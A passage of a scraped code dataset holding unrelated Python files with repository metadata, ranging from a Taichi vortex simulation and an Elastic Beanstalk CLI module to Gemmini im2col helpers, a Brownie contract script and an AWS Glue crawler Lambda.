None)\n","repo_name":"Sulverus/aqueduct","sub_path":"aqueduct/storages/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"8510712422","text":"from datetime import datetime\n##################################################\n# Training Config\n##################################################\nworkers = 1 # number of Dataloader workers\nepochs = 50 # number of epochs\nbatch_size = 24 # batch size\nlearning_rate = 1e-3 # initial learning rate\n\n##################################################\n# Model Config\n##################################################\nimage_size = (224, 224) # size of training images\nnet = 'resnet50' # feature extractor\nnum_attentions = 32 # number of attention maps\nbeta = 5e-2 # param for update feature centers\n\n##################################################\n# Dataset/Path Config\n##################################################\ntag = 'fish' # 'aircraft', 'bird', 'car', or 'dog'\n\n# saving directory of .ckpt models\nsave_dir = f'./save/{datetime.now().strftime(\"%Y_%m-%d_%H:%M\")}-{net}-{image_size[0]}-{image_size[1]}-{num_attentions}-{batch_size}/'\nmodel_name = 'model.ckpt'\nlog_name = 'train.log'\n\n# checkpoint model for resume training\nckpt = False\n# ckpt = save_dir + model_name","repo_name":"SudoRmFr/The-Nature-Conservancy-Fisheries-Monitoring","sub_path":"config_distributed.py","file_name":"config_distributed.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3523040853","text":"import json\nimport codecs \nimport logging\nfrom logging import config as _config \nimport os\nimport sys\nfrom pprint import pprint\n\nfrom scli import command, cli_parse, config_file, prompt\nfrom scli.constants import EbLogFile, EbLocalDir, OutputLevel, ParameterName, \\\n ParameterSource, ServiceDefault \nfrom scli.parameter import DefaultParameterValue, ParameterPool, ParameterValidator\nfrom lib.utility import misc, shell_utils\n\nlog = logging.getLogger('cli')\n\n\ndef _getLogFile(filename): \n return os.getcwd() + os.path.sep + filename\n\ndef _set_log_filename(config_dict, filename):\n #Keyerror\n config_dict['handlers']['default']['filename'] = filename \n\ndef _set_log_handlers(config_dict, formatter):\n config_dict['root']['handlers'] = [formatter]\n config_dict['loggers']['aws']['handlers'] = [formatter]\n config_dict['loggers']['eb']['handlers'] = [formatter]\n config_dict['loggers']['op']['handlers'] = [formatter]\n config_dict['loggers']['cli']['handlers'] = [formatter]\n\ndef _disable_logging(config_dict = None):\n logging.disable(logging.CRITICAL)\n \n if config_dict is not None:\n _set_log_handlers(config_dict, 'null')\n del config_dict['handlers']['default']\n \n\ndef configureLogging(level = None, quiet = False, \n filename = EbLogFile.Name, \n spec_dir = os.getcwd() + os.path.sep + EbLocalDir.Path):\n \n \n if not spec_dir:\n output_file=_getLogFile(filename)\n else:\n shell_utils.create_directory(spec_dir)\n output_file = spec_dir + os.path.sep + filename\n \n ori_path = shell_utils.ori_path()\n log_config_location = os.path.join(ori_path, 'logconfig.json')\n \n try:\n with codecs.open(log_config_location, 'r', encoding='utf-8') as input_file: \n config_dict = json.loads(input_file.read())\n\n _set_log_filename(config_dict, output_file)\n \n if level is None and config_dict['root']['level'].upper() == 'NONE':\n # completely disable log\n config_dict['root']['level'] = 'NOTSET'\n _disable_logging(config_dict)\n else:\n if level is not None:\n config_dict['root']['level'] = level \n _set_log_handlers(config_dict, 'default')\n \n except (IOError, ValueError, KeyError) as ex:\n #JSON logging config file parsing error\n if not quiet:\n print(('Encountered error when reading logging configuration file from \"{0}\": {1}.'.\\\n format(log_config_location, ex)))\n _disable_logging()\n return \n\n try: \n _config.dictConfig(config_dict)\n \n except IOError:\n if not quiet:\n print('Could not open {0} for logging. Using stderr instead.'.\\\n format(output_file), file=sys.stderr)\n _set_log_handlers(config_dict, 'to_stderr')\n _config.dictConfig(config_dict)\n\n config_file.set_access_permission(output_file, True) \n\n\ndef _exit(code):\n log.info('EB CLI exit')\n sys.exit(code)\n\n\ndef _print_op_results(results):\n for index, result in enumerate(results):\n prompt.info('------------ Operation {0}: {1}----------------'.format\\\n (index + 1, result.operation.__class__.__name__))\n pprint(result.result, depth = 3);\n print(result.message) \n\n\ndef main(cmdline = None):\n \n # Initialization\n configureLogging(quiet=False)\n log.info('EB CLI start')\n\n parameter_pool = ParameterPool() # pool of all parameters \n validator = ParameterValidator()\n DefaultParameterValue.fill_default(parameter_pool) \n log.debug('Finished initialization')\n \n try:\n # Parse command line arguments\n cli_parse.parse(parameter_pool, cmdline)\n log.debug('Finished parsing command line arguments.')\n # TODO: set quiet level here.\n if parameter_pool.get_value(ParameterName.Verbose) == ServiceDefault.ENABLED:\n prompt.set_level(OutputLevel.Info)\n else:\n prompt.set_level(OutputLevel.ResultOnly)\n \n validator.validate(parameter_pool, ParameterSource.CliArgument)\n # Compile operation queue\n queue = command.compile_operation_queue(parameter_pool.command)\n\n except SystemExit as ex:\n _exit(0)\n \n except BaseException as ex:\n print((misc.to_unicode(ex)))\n log.exception(ex)\n _exit(1)\n \n # Execute queue\n results = []\n try:\n queue.run(parameter_pool, results)\n log.debug('Finished executing operation queue')\n except BaseException as ex:\n print((misc.to_unicode(ex)))\n log.exception(ex)\n _exit(1)\n\n _exit(0)\n\n","repo_name":"Mrono/step-elastic-beanstalk-deploy","sub_path":"eb-tools/eb/linux/python3/scli/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"24171814284","text":"from brownie import FundMe\nfrom scripts.helper import get_account\n\n\ndef fundme():\n fund_me = FundMe[-1]\n account = get_account()\n enterance_fee = fund_me.getEntranceFee()\n print(f\"The current entry fee is {enterance_fee}\")\n print(\"Funding\")\n fund_me.fund({\"from\":account, 'value' : enterance_fee})\n\ndef withdraw():\n fund_me = FundMe[-1]\n account = get_account()\n print(\"Withdraw\")\n fund_me.withdraw({\"from\":account})\n\ndef main():\n fundme()\n withdraw()","repo_name":"shebbar93/brownie_fund_me","sub_path":"scripts/fund_withdraw.py","file_name":"fund_withdraw.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29592468387","text":"\nimport torch\nimport torch.nn as nn\n\nclass ConvParams:\n def __init__(self, kernel_size: int, batch_size: int,\n in_dim: int, in_channels: int,\n out_channels: int,\n stride: int, padding: int,\n bias: int,\n depthwise: bool,\n pool_size: int,\n pool_stride: int,\n pool_padding: int,\n output_scale: int):\n # gemmini_dim: int):\n\n assert not depthwise or in_channels == out_channels\n\n self.batch_size = batch_size\n self.in_row_dim = in_dim\n self.in_col_dim = in_dim\n self.kernel_size = kernel_size\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.stride = stride\n self.padding = padding\n self.bias = bias\n self.depthwise = depthwise\n self.output_scale = output_scale\n self.pool_size = pool_size\n self.pool_stride = pool_stride\n self.pool_padding = pool_padding\n\n self.out_row_dim = (in_dim - kernel_size + 2*padding) // stride + 1\n self.out_col_dim = (in_dim - kernel_size + 2*padding) // stride + 1\n\n self.out_dim_pooled = (self.out_row_dim - pool_size + 2*pool_padding) // pool_stride + 1\n\n self.n_patches = self.out_row_dim * self.out_col_dim * batch_size\n\n if depthwise:\n self.patch_size = kernel_size * kernel_size\n else:\n self.patch_size = in_channels * kernel_size * kernel_size\n\n self.is_pooled = pool_size > 1 or pool_stride > 1\n\nclass FcParams:\n def __init__(self, batch_size: int, in_features: int, out_features: int, bias: bool, output_scale: int): # , gemmini_dim: int):\n self.batch_size = batch_size\n self.in_features = in_features\n self.out_features = out_features\n self.bias = bias\n self.output_scale = output_scale\n \n # self.gemmini_dim = gemmini_dim\n\ndef get_params(layer: nn.Module, batch_size=None, in_dim=None, pool_stride=None, pool_size=None, pool_padding=None):\n if isinstance(layer, nn.Conv2d):\n if in_dim is None or pool_stride is None or pool_size is None:\n raise Exception(\"Need in_dim\")\n return ConvParams(kernel_size=layer.kernel_size[0], batch_size=batch_size,\n in_dim=in_dim, in_channels=layer.in_channels,\n out_channels=layer.out_channels, depthwise=layer.groups > 1,\n stride=layer.stride[0], padding=layer.padding[0], bias=layer.bias is not None,\n pool_size=pool_size, pool_stride=pool_stride, pool_padding=pool_padding,\n output_scale = layer.output_scale if hasattr(layer, 'output_scale') else 1)\n elif isinstance(layer, nn.Linear):\n return FcParams(batch_size=batch_size, in_features=layer.in_features, out_features=layer.out_features, bias=layer.bias is not None, output_scale=layer.output_scale if hasattr(layer, 'output_scale') else 1)\n\ndef filter2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n n_filters = 1 if params.depthwise else params.out_channels\n im_channels = 1 if params.depthwise else params.in_channels\n kernel_size = params.kernel_size\n patch_size = params.patch_size\n\n y = torch.empty((patch_size, n_filters), dtype=x.dtype, requires_grad=False)\n\n for n_filter in range(n_filters):\n # We need HWIO, originally OIHW, so we need to make it HWI before flattening (so that memory layout becomes [H][W][I]\n y[:, n_filter:n_filter+1] = x[n_filter].permute(1,2,0).reshape(patch_size, 1)\n\n return y\n\ndef bias2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n # TODO This can just be a one-dimensional bias, and then we can read it with a zero-byte increment\n \n n_patches = params.n_patches\n out_channels = params.out_channels\n\n y = torch.empty((n_patches, out_channels), dtype=x.dtype, requires_grad=False)\n \n for row in range(n_patches):\n y[row] = x\n\n return y\n\ndef im2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n \"\"\"\n Expects input image in (N, C, H, W) format\n \"\"\"\n assert x.shape[2] == x.shape[3]\n\n batch_size = params.batch_size\n im_channels = 1 if params.depthwise else params.in_channels\n im_height = params.in_row_dim\n im_width = params.in_col_dim\n kernel_size = params.kernel_size\n stride = params.stride\n padding = params.padding\n n_patches = params.n_patches\n patch_size = params.patch_size\n\n y = torch.empty((n_patches, patch_size), dtype=x.dtype, requires_grad=False)\n\n patch_row = 0\n\n for n_batch in range(batch_size):\n for im_row in range(-padding, im_height - kernel_size + padding + 1, stride):\n for im_col in range(-padding, im_width - kernel_size + padding + 1, stride):\n patch_col = 0\n\n for im_channel in range(im_channels):\n for filter_row in range(kernel_size):\n for filter_col in range(kernel_size):\n pixel_row = im_row + filter_row\n pixel_col = im_col + filter_col\n\n if (pixel_row < 0 or pixel_row >= im_height\n or pixel_col < 0 or pixel_col >= im_width):\n y[patch_row][patch_col] = 0\n else:\n y[patch_row][patch_col] = x[n_batch][im_channel][pixel_row][pixel_col]\n\n patch_col += 1\n patch_row += 1\n\n return y\n\n\ndef pool_with_col2im(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n assert(x.dim() == 2)\n batch_size = params.batch_size\n channels = params.out_channels\n in_row_dim = params.out_row_dim\n in_col_dim = params.out_col_dim\n kernel_size = params.pool_size\n stride = params.pool_stride\n padding = params.pool_padding\n # n_patches = params.n_patches\n # patch_size = params.patch_size \n out_row_dim = params.out_dim_pooled\n out_col_dim = params.out_dim_pooled\n\n y = torch.empty((batch_size, out_row_dim, out_col_dim, channels), dtype=x.dtype, requires_grad=False)\n\n for batch in range(batch_size):\n for channel in range(channels):\n for out_row in range(out_row_dim):\n for out_col in range(out_col_dim):\n in_row = out_row * stride - padding\n pooled = -9999\n for kernel_row in range(kernel_size):\n in_col = out_col * stride - padding\n for kernel_col in range(kernel_size):\n if in_row >= 0 and in_row < in_row_dim and in_col >= 0 and in_col < in_col_dim:\n if x[batch*in_row_dim*in_col_dim + in_row*in_col_dim + in_col][channel] > pooled:\n pooled = x[batch*in_row_dim*in_col_dim + in_row*in_col_dim + in_col][channel]\n else:\n if 0 > pooled:\n pooled = 0\n in_col += 1\n in_row += 1\n y[batch][out_row][out_col][channel] = pooled\n\n return y","repo_name":"allpan3/multi-concept-MNIST","sub_path":"tools/gemmini.py","file_name":"gemmini.py","file_ext":"py","file_size_in_byte":7313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14695307504","text":"import pickle, argparse, json, math\nimport time\nimport json\nimport random\n\nfrom utils import DEBUG_PRINT, SAVE_LOG\nfrom user import User\nfrom dqn_agent import DQNAgent\nfrom state_tracker import StateTracker\n\nif __name__ == \"__main__\":\n # Can provide constants file path in args OR run it as is and change 'CONSTANTS_FILE_PATH' below\n # 1) In terminal: python train.py --constants_path \"constants.json\"\n # 2) Run this file as is\n parser = argparse.ArgumentParser()\n parser.add_argument('--constants_path', dest='constants_path', type=str, default='')\n args = parser.parse_args()\n params = vars(args)\n\n # Load constants json into dict\n CONSTANTS_FILE_PATH = 'constants.json'\n if len(params['constants_path']) > 0:\n constants_file = params['constants_path']\n else:\n constants_file = CONSTANTS_FILE_PATH\n\n with open(constants_file) as f:\n constants = json.load(f, encoding='utf-8')\n\n # Load file path constants\n file_path_dict = constants['db_file_paths']\n DATABASE_FILE_PATH = file_path_dict['database']\n SIZE_DATABASE_FILE_PATH = file_path_dict['size_database']\n DICT_FILE_PATH = file_path_dict['dict']\n SIZE_DICT_FILE_PATH = file_path_dict['size_dict']\n USER_GOALS_FILE_PATH = file_path_dict['user_goals']\n DIALOG_FILE_PATH = file_path_dict['dialogs']\n\n # Load run constants\n run_dict = constants['run']\n USE_USERSIM = run_dict['usersim']\n NUM_EP_WARMUP = run_dict['num_ep_warmup'] # number of episode in warmup\n NUM_EP_TRAIN = run_dict['num_ep_run']\n TRAIN_FREQ = run_dict['train_freq']\n SUCCESS_RATE_THRESHOLD = run_dict['success_rate_threshold']\n\n # Load product DB\n database= json.load(open(DATABASE_FILE_PATH, encoding='utf-8'))\n # Load size DB\n size_database= json.load(open(SIZE_DATABASE_FILE_PATH, encoding='utf-8'))\n\n # Load product dict\n # db_dict = json.load(open(DICT_FILE_PATH, encoding='utf-8'))\n\n # Load goal File\n user_goals = json.load(open(USER_GOALS_FILE_PATH, encoding='utf-8'))\n\n # Load dialogs File\n dialogs = json.load(open(DIALOG_FILE_PATH, encoding='utf-8'))\n\n # Init. Objects\n if USE_USERSIM:\n user = UserSimulator(user_goals, constants, database, size_database)\n else:\n user = User(constants)\n state_tracker = StateTracker(database, size_database, constants)\n dqn_agent = DQNAgent(state_tracker.get_state_size(), constants)\n\n\ndef episode_reset():\n \"\"\"\n Resets the episode/conversation in the training loops.\n\n Called in warmup and train to reset the state tracker, user and agent. Also get's the initial user action.\n\n \"\"\"\n\n # First reset the state tracker\n state_tracker.reset()\n # Then pick an init user action\n user_action = user.reset()\n print(\"user: {}\".format(str(user_action)))\n # And update state tracker\n state_tracker.update_state_user(user_action)\n # Finally, reset agent\n dqn_agent.reset()\n\ndef test_warmup():\n print('Testing Started...')\n episode_reset()\n ep_reward = 0\n done = False\n # Get initial state from state tracker\n state = state_tracker.get_state()\n while not done:\n # Agent takes action given state tracker's representation of dialogue\n agent_action_index, agent_action = dqn_agent.get_action_train(state)\n # Update state tracker with the agent's action\n state_tracker.update_state_agent_test(agent_action)\n print(\"agent: {}\".format(str(agent_action)))\n\n # User takes action given agent action\n user_action, reward, done, success = user.step(agent_action)\n print(\"user: {}\".format(str(user_action)))\n\n ep_reward += reward\n # Update state tracker with user action\n state_tracker.update_state_user(user_action)\n # Grab \"next state\" as state\n state = state_tracker.get_state(done)\n print('Episode: {} Success: {} Reward: {}'.format(0, success, ep_reward))\n\n\ntest_warmup()","repo_name":"ngocho31/shopping_assistant","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32436330936","text":"import json\nimport decimal\nimport datetime\nimport sqlalchemy\nfrom sqlalchemy.engine.base import Engine\nfrom sqlalchemy.ext.declarative import DeclarativeMeta\nfrom sqlalchemy.orm.session import Session as ORMSession, sessionmaker\nimport Environment as env\n\n## Database connection string\nconnect_url = f\"{env.DB_ENGINE}://{env.DB_USER}:{env.DB_PWD}@{env.DB_HOST}:{env.DB_PORT}/{env.DB_NAME}?driver={env.DB_DRIVER}\"\n__engine = sqlalchemy.create_engine(connect_url, echo=False)\n__Session = sessionmaker(bind=__engine)\n\n\ndef get_session() -> ORMSession:\n \"\"\" Return a new database session from engine to data access\n\n Returns:\n ORMSession: Database session\n \"\"\"\n return __Session()\n\ndef get_engine() -> Engine:\n \"\"\" Return the database engine\n\n Returns:\n Engine: Database Engines\n \"\"\"\n return __engine\n\n\nclass AlchemyEncoder(json.JSONEncoder):\n \"\"\" Based on: https://stackoverflow.com/questions/5022066/how-to-serialize-sqlalchemy-result-to-json/41204271 \"\"\"\n def default(self, obj):\n if isinstance(obj.__class__, DeclarativeMeta):\n fields = {}\n property_map = obj.property_map()\n for field in [x for x in obj.attrs]:\n data = obj.__getattribute__(field)\n try:\n if isinstance(data, (datetime.datetime, datetime.date)):\n data = data.isoformat()\n else:\n json.dumps(data)\n fields[property_map[field] if field in property_map else field] = data\n except TypeError:\n fields[field] = None\n return fields\n if isinstance(obj, decimal.Decimal):\n if obj % 1 > 0:\n return float(obj)\n else:\n return int(obj)\n if isinstance(obj, (datetime.date, datetime.datetime)):\n return obj.isoformat()\n return json.JSONEncoder.default(self, obj)\n\n\n","repo_name":"DavidCuy/pm_evaluation_system_backend","sub_path":"code/evaluation-system-be/database/DBConnection.py","file_name":"DBConnection.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2958759552","text":"class FindPath:\n def __init__(self, network):\n self.network = network\n\n def _all_paths(self, network, source, destination, path=[]):\n path = path + [source]\n if source == destination:\n return [path]\n paths = []\n for node in network[source]:\n if node not in path:\n npaths = self._all_paths(network, node, destination, path)\n for npath in npaths:\n paths.append(npath)\n return paths\n\n def find_path(self, source, destination, type='all'):\n \"\"\"type: (all, shortest, longest)\"\"\"\n paths = self._all_paths(self.network, source, destination)\n if type == 'shortest':\n shortest = None\n for path in paths:\n if not shortest or len(path) < len(shortest):\n shortest = path\n return shortest\n\n elif type == 'longest':\n longest = None\n for path in paths:\n if not longest or len(path) > len(longest):\n longest = path\n return longest\n\n else:\n return paths","repo_name":"project-mlx/ADS","sub_path":"Graphs/Graphs.py","file_name":"Graphs.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35185354854","text":"\nfrom django.urls import path\nfrom .views import home_view,index_view,details_view,login_view,logout_view,register_view\n\nurlpatterns = [\n path('',home_view ),\n path('index/',index_view),\n path('/', details_view, name='details'),\n path('logout', logout_view, name='logout'),\n path('register/', register_view, name='register')\n\n]\n","repo_name":"Nikh10/news_app","sub_path":"nknews_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13482539826","text":"print(\"Please enter a sequence\")\nsequence = input()\nprint()\nprint(\"Please enter the character for the marker\")\nmarker = input()\nmarker1_position = -1\nmarker2_position = -1\n\nfor position in range(0, len(sequence), 1):\n letter = sequence[position]\n if letter == marker:\n if (marker1_position == -1):\n marker1_position = position\n else:\n marker2_position = position\nprint()\nprint(f\"The distance between markers is {marker2_position - marker1_position -1}.\")\n","repo_name":"lawrencepj13/com728","sub_path":"basics/repetitions/nested_loop/nesting.py","file_name":"nesting.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34900239129","text":"import taichi as ti\nimport numpy as np\nimport math\n\nti.init(arch=ti.gpu)\n\neps = 0.01 # \ndt = 0.1 # 两帧之间的时间差\n\nn_vortex = 4 # 涡流的数量\nn_tracer = 200000 # \n\npos = ti.Vector.field(2, ti.f32, shape=n_vortex) # 这是一个二维向量数组\nnew_pos = ti.Vector.field(2, ti.f32, shape=n_vortex)# 这是一个二维向量数组\nvort = ti.field(ti.f32, shape=n_vortex) # 涡流的旋转速度\ntracer = ti.Vector.field(2, ti.f32, shape=n_tracer) # 每一个元素由两个float组成 \n\n\n@ti.func\ndef compute_u_single(p, i):\n r2 = (p - pos[i]).norm_sqr()\n uv = ti.Vector([pos[i].y - p.y, p.x - pos[i].x]) # 这个vector 和 p-pos[i] 垂直,这是切线方向\n return vort[i] * uv / (r2 * math.pi) * 0.5 #* (1.0 - ti.exp(-r2 / eps**2))\n# uv 的长度就是 r ,\n\n\n@ti.func\ndef compute_u_full(p):\n u = ti.Vector([0.0, 0.0])\n for i in range(n_vortex):\n u += compute_u_single(p, i)\n return u\n\n\n@ti.kernel\ndef integrate_vortex():\n for i in range(n_vortex):\n v = ti.Vector([0.0, 0.0])\n for j in range(n_vortex):\n if i != j:\n v += compute_u_single(pos[i], j)\n new_pos[i] = pos[i] + dt * v\n\n for i in range(n_vortex):\n pos[i] = new_pos[i]\n\n\n@ti.kernel # 通过taichi 进行gpu 加速\ndef advect():\n for i in range(n_tracer): # tracer的遍历\n # Ralston's third-order method\n p = tracer[i]\n v1 = compute_u_full(p)\n v2 = compute_u_full(p + v1 * dt * 0.5)\n v3 = compute_u_full(p + v2 * dt * 0.75)\n tracer[i] += (2 / 9 * v1 + 1 / 3 * v2 + 4 / 9 * v3) * dt\n\n\npos[0] = [0, 1]\npos[1] = [0, -1]\npos[2] = [0, 0.3]\npos[3] = [0, -0.3]\nvort[0] = 1\nvort[1] = -1\nvort[2] = 1\nvort[3] = -1\n\n\n@ti.kernel\ndef init_tracers():\n for i in range(n_tracer):\n tracer[i] = [ti.random() - 0.5, ti.random() * 3 - 1.5] # 以 (0,0)为半径为1中心的分布\n\n\ninit_tracers()\n\ngui = ti.GUI(\"Vortex\", (1024, 512), background_color=0xFFFFFF)\n\nfor T in range(1000):\n for i in range(4): # substeps\n advect() # advect 就是简单的平流输送\n integrate_vortex() # 集成 涡流\n\n gui.circles( \n tracer.to_numpy() * np.array([[0.05, 0.1]]) + np.array([[0.0, 0.5]]),\n radius=0.5, \n color=0x0)\n # 这里在画固定半径的圆\n gui.show()\n","repo_name":"MilkBlock/taichi_harmonic","sub_path":"vortex_leapfrogging.py","file_name":"vortex_leapfrogging.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"577490727","text":"import logging\n\nimport boto3\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nclient = boto3.client(\"glue\")\n\n\ndef lambda_handler(event, context):\n \"\"\"Crawl Data using specified Glue Crawler\n\n Arguments:\n event {dict} -- Dictionary with details on Bucket and Keys\n context {dict} -- Dictionary with details on Lambda context\n\n Returns:\n {dict} -- Dictionary with Data Quality Job details\n \"\"\"\n try:\n crawler_name = \"sdlf-data-quality-crawler\"\n logger.info(\"Starting Crawler {}\".format(crawler_name))\n try:\n client.start_crawler(Name=crawler_name)\n except client.exceptions.CrawlerRunningException:\n logger.info(\"Crawler is already running\")\n except Exception as e:\n logger.error(\"Fatal error\", exc_info=True)\n raise e\n return 200\n","repo_name":"awslabs/aws-serverless-data-lake-framework","sub_path":"sdlf-foundations/lambda/crawl-data/src/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"61"} +{"seq_id":"11013399526","text":"#### Libraries\n# Standard library\nimport cPickle\nimport gzip\n\n# Third-party libraries\nimport numpy as np\nfrom PIL import Image, ImageOps\nimport glob\nimport random\n\n\nVALIDATION_SIZE = 100\nTEST_SIZE = 100\nfishNames = ['Bass', 'Catfish', 'Eel', 'Founder', 'Salmon', 'Shark', 'Trout', 'Tuna']\n\n\ndef load_data():\n \"\"\"Return the MNIST data as a tuple containing the training data,\n the validation data, and the test data.\n The ``training_data`` is returned as a tuple with two entries.\n The first entry contains the actual training images. This is a\n numpy ndarray with 50,000 entries. Each entry is, in turn, a\n numpy ndarray with 784 values, representing the 28 * 28 = 784\n pixels in a single MNIST image.\n The second entry in the ``training_data`` tuple is a numpy ndarray\n containing 50,000 entries. Those entries are just the digit\n values (0...9) for the corresponding images contained in the first\n entry of the tuple.\n The ``validation_data`` and ``test_data`` are similar, except\n each contains only 10,000 images.\n This is a nice data format, but for use in neural networks it's\n helpful to modify the format of the ``training_data`` a little.\n That's done in the wrapper function ``load_data_wrapper()``, see\n below.\n \"\"\"\n #Create Usable Training Data\n image_list = []\n labels = []\n for fish in fishNames:\n path = fish + '/*.jpg'\n for filename in glob.glob(path):\n im=Image.open(filename)\n img = np.asarray(to_grayscale(im))\n image_list.append(img)\n labels.append(fish)\n\t\n #Create Validation Data\n val_imgs = []\n val_labels = []\n for i in range(VALIDATION_SIZE):\n inx = random.randint(0,len(image_list)-1)\n img = np.asarray(image_list.pop(inx))\n lab = labels.pop(inx)\n val_imgs.append(img)\n val_labels.append(fishNames.index(lab))\n \n #Create Test Data\n tst_imgs = []\n tst_labels = []\n for i in range(TEST_SIZE):\n inx = random.randint(0,len(image_list)-1)\n img = np.asarray(image_list.pop(inx))\n lab = labels.pop(inx)\n tst_imgs.append(img)\n tst_labels.append(fishNames.index(lab))\n\n \n training_data = (image_list, labels)\n validation_data = (val_imgs, val_labels)\t\n test_data = (tst_imgs, tst_labels)\n\t\n\t#debugging\n \"\"\"print \"TRAINING EXAMPLES ------------------------------------------------------\"\n for x in range(len(image_list)):\n pic = to_grayscale(image_list[x])\n picArr = np.asarray(pic)\n print picArr, ' IS A ', labels[x]\n\t\t\n print \"Validation EXAMPLES --++++++++++++++++++++++++++++++++++++++++++++++++--\"\n for x in range(len(val_imgs)):\n pic = to_grayscale(val_imgs[x])\n print pic, ' IS A ', val_labels[x]\n\t\n print \"Testing EXAMPLES --++++++++++++++++++++++++++++++++++++++++++++++++--\"\n for x in range(len(tst_imgs)):\n pic = to_grayscale(tst_imgs[x])\n print pic, ' IS A ', tst_labels[x]\"\"\"\t\n\n '''print \"Imgs? - - - - - - - - - -\", str(len(image_list))\n print 'training_data[0] = ', training_data[0]\n print 'training_data[1] = ', training_data[1]\n print 'Validation_data[0] = ', validation_data[0]\n print 'Validation_data[1] = ', validation_data[1]\n print 'testing_data[0] = ', test_data[0]\n print 'testing_data[1] = ', test_data[1]'''\n return (training_data, validation_data, test_data)\n\ndef load_data_wrapper():\n \"\"\"Return a tuple containing ``(training_data, validation_data,\n test_data)``. Based on ``load_data``, but the format is more\n convenient for use in our implementation of neural networks.\n In particular, ``training_data`` is a list containing 50,000\n 2-tuples ``(x, y)``. ``x`` is a 784-dimensional numpy.ndarray\n containing the input image. ``y`` is a 10-dimensional\n numpy.ndarray representing the unit vector corresponding to the\n correct digit for ``x``.\n ``validation_data`` and ``test_data`` are lists containing 10,000\n 2-tuples ``(x, y)``. In each case, ``x`` is a 784-dimensional\n numpy.ndarry containing the input image, and ``y`` is the\n corresponding classification, i.e., the digit values (integers)\n corresponding to ``x``.\n Obviously, this means we're using slightly different formats for\n the training data and the validation / test data. These formats\n turn out to be the most convenient for use in our neural network\n code.\"\"\"\n tr_d, va_d, te_d = load_data()\n training_inputs = [np.reshape(x, (784, 1)) for x in tr_d[0]]\n training_results = [vectorized_result(y) for y in tr_d[1]]\n training_data = zip(training_inputs, training_results)\n validation_inputs = [np.reshape(x, (784, 1)) for x in va_d[0]]\n validation_data = zip(validation_inputs, va_d[1])\n test_inputs = [np.reshape(x, (784, 1)) for x in te_d[0]]\n test_data = zip(test_inputs, te_d[1])\n return (training_data, validation_data, test_data)\n\ndef vectorized_result(j):\n \"\"\"Return a 10-dimensional unit vector with a 1.0 in the jth\n position and zeroes elsewhere. This is used to convert a digit\n (0...9) into a corresponding desired output from the neural\n network.\n e = np.zeros((10, 1))\n e[j] = 1.0\n return e\"\"\"\n #Returns 8D unit vector with 1 in position of approprate label\n #['Bass', 'Catfish', 'Eel', 'Founder', 'Salmon', 'Shark', 'Trout', 'Tuna']\n inx = fishNames.index(j)\n e = np.zeros((8,1))\n e[inx] = 1.0\n return e\n\t\n\ndef to_grayscale(img):\n resized = img.resize((28,28),Image.BILINEAR)\n greypic = ImageOps.grayscale(resized)\n return greypic","repo_name":"JohnSantaguida/FishML","sub_path":"Fish/_Train/mnist_loader.py","file_name":"mnist_loader.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8215272415","text":"from __future__ import print_function\nimport os, sys, argparse, shutil, datetime, time\nimport numpy as np\nnp.set_printoptions(linewidth=180)\nimport tables as h5\nimport warnings\nwarnings.simplefilter('ignore', h5.NaturalNameWarning)\nfrom glob import glob\n'''\n NUCLEON_ELASTIC_FF IMPORTS\n'''\nsys.path.append(os.path.join(os.path.dirname(__file__)))\nsys.path.append(os.path.join(os.path.dirname(__file__),'area51_files'))\nimport importlib\nimport c51_mdwf_hisq as c51\nimport utils\nimport sources\n\nmessage = {\n 'res_phi':'MRES and PHI_QQ',\n 'spec' :'PIONS and PROTONS',\n 'formfac':'PROTON FORMFAC',\n}\n\ndef get_data(params,d_type):\n # switch for data types to define h5 path\n if d_type == 'res_phi':\n prop_name = c51.names['prop'] % params\n\n\n\n\ndef put_data(params,d_type,data=None,overwrite=False,db_info=False):\n # switch for data types to define h5 path\n if d_type == 'res_phi': \n # data file\n data_file = params['data_dir']+'/'+params['ens_s']+'_'+params['CFG']+'_srcs'+src_ext+'.h5'\n # define h5 directories\n mp_dir = '/'+params['val_p']+'/dwf_jmu/mq'+params['MQ'].replace('.','p')+'/midpoint_pseudo'\n pp_dir = '/'+params['val_p']+'/dwf_jmu/mq'+params['MQ'].replace('.','p')+'/pseudo_pseudo'\n phi_dir = '/'+params['val_p']+'/phi_qq/mq'+params['MQ'].replace('.','p')\n # if db_info, just print information\n if db_info:\n 